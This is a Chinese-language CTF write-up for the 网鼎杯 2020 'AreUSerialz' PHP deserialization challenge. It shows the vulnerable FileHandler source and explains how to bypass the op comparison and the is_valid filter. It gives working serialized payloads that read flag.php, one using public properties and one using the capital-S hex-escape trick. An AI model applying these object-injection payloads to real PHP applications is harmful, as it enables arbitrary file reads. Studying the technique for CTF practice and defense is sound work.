反序列化protected和private

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

  protected $op;
  protected $filename;
  protected $content;

  function __construct() {
    $op = "1";
    $filename = "/tmp/tmpfile";
    $content = "Hello World!";
    $this->process();
  }

  public function process() {
    if($this->op == "1") {
      $this->write();
    } else if($this->op == "2") {
      $res = $this->read();//因为要触发read(),所以op="2",
      $this->output($res);
    } else {
      $this->output("Bad Hacker!");
    }
  }

  private function write() {
    if(isset($this->filename) && isset($this->content)) {
      if(strlen((string)$this->content) > 100) {
        $this->output("Too long!");
        die();
      }
      $res = file_put_contents($this->filename, $this->content);
      if($res) $this->output("Successful!");
      else $this->output("Failed!");
    } else {
      $this->output("Failed!");
    }
  }

  private function read() {
      //要触发read(),让file_get_contents包含flag.php
    $res = "";
    if(isset($this->filename)) {
      $res = file_get_contents($this->filename);
    }
    return $res;
  }

  private function output($s) {
    echo "[Result]: <br>";
    echo $s;
  }

  function __destruct() {
    if($this->op === "2")
      $this->op = "1";
    $this->content = "";
    $this->process();
  }

}

function is_valid($s) {
  for($i = 0; $i < strlen($s); $i++)
    if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
      return false;
  return true;
}// is_valid方法,使用ord方法,ord是让字符转义成ASCII值的形式,这里还要求必须大于32小于125,也就是我们的字符串中只能包含这些允许的字符,需要进行绕过

if(isset($_GET{'str'})) {

  $str = (string)$_GET['str'];
  if(is_valid($str)) {
    $obj = unserialize($str);
  }

}
//已知flag.php存在

目标:利用op=2,调用process中的read,读取flag.php文件

(1)$op=2可以绕过

else if($this->op == "2") {  //弱类型比较
      $res = $this->read();
function __destruct() {  //强类型比较
    if($this->op === "2")
      $this->op = "1"

(2) $filename = "flag.php";

 $res = file_get_contents($this->filename);

(3)基础版payload:

<?php
  class FileHandler {
  protected $op = 2;
  protected $filename ='flag.php';         
  protected $content;

}
$FileHandler = serialize(new FileHandler);

echo $FileHandler;                                           
?>

输出:

我们可以看到有不可打印字符,这是因为protected类型对象的原因,这种不可打印字符ASCII为0,但是is_valid方法需要大于32小于125,即无法绕过,这里有两种解决办法:

法一、那就是不用protected类型,将变量类型改变成公共变量(利用php7.1+版本对属性类型不敏感)

<?php
  class FileHandler {
  public $op = 2;
  public $filename ='flag.php';         
  public $content;

}
$FileHandler = serialize(new FileHandler);

echo $FileHandler;                                           
?>

//输出
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
//payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

法二、将不可见字符,替换成\00,并将小s替换成大S(参考即可)(我觉得%00也可以)

为什么要替换成\00?

下面是属性的序列化格式。

属性权限 序列化格式
public 直接写属性名
protected %00*%00属性名
private %00类名%00属性名

因为不可见字符会被解析成NULL即\x00,转换为ASCII为0,那么就不能通过is_valid的检测。

为什么\00可以替换\x00?

因为我们将s替换成了大S,序列化后的大S,可以支持十六进制解析,那么\00就是代表NULL。

也就是说\00=\x00,仍然可以解析成正常的属性。

那NULL不是还是ASCII绕不过吗?

重点来了,虽然解析是NULL,但是,这里is_valid,是把序列化后的数据,当作字符串来处理的,所以不会将\00解析成NULL,也就不会ASCII=0,那么就绕过is_valid了。

完整payload:

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

注:在序列化和反序列化的题目中 我们提倡在输出EXP的时候添加一个 urlencode() 以避免不可见字符的干扰。

考察点是在输出的格式上面,由于不可见控制字符的带入,需要使用URL编码来避免丢失。

例如:

<?php 
class protectedKEY{
    protected $protected_key = "protected_key";
}
class privateKEY{
    private $private_key = "private_key";
}

$exp = "protected_key=".urlencode(serialize(new protectedKEY))."&private_key=".urlencode(serialize(new privateKEY));

echo $exp;
posted @ 2026-06-18 16:09  Doll_Marker  阅读(13)  评论(0)    收藏  举报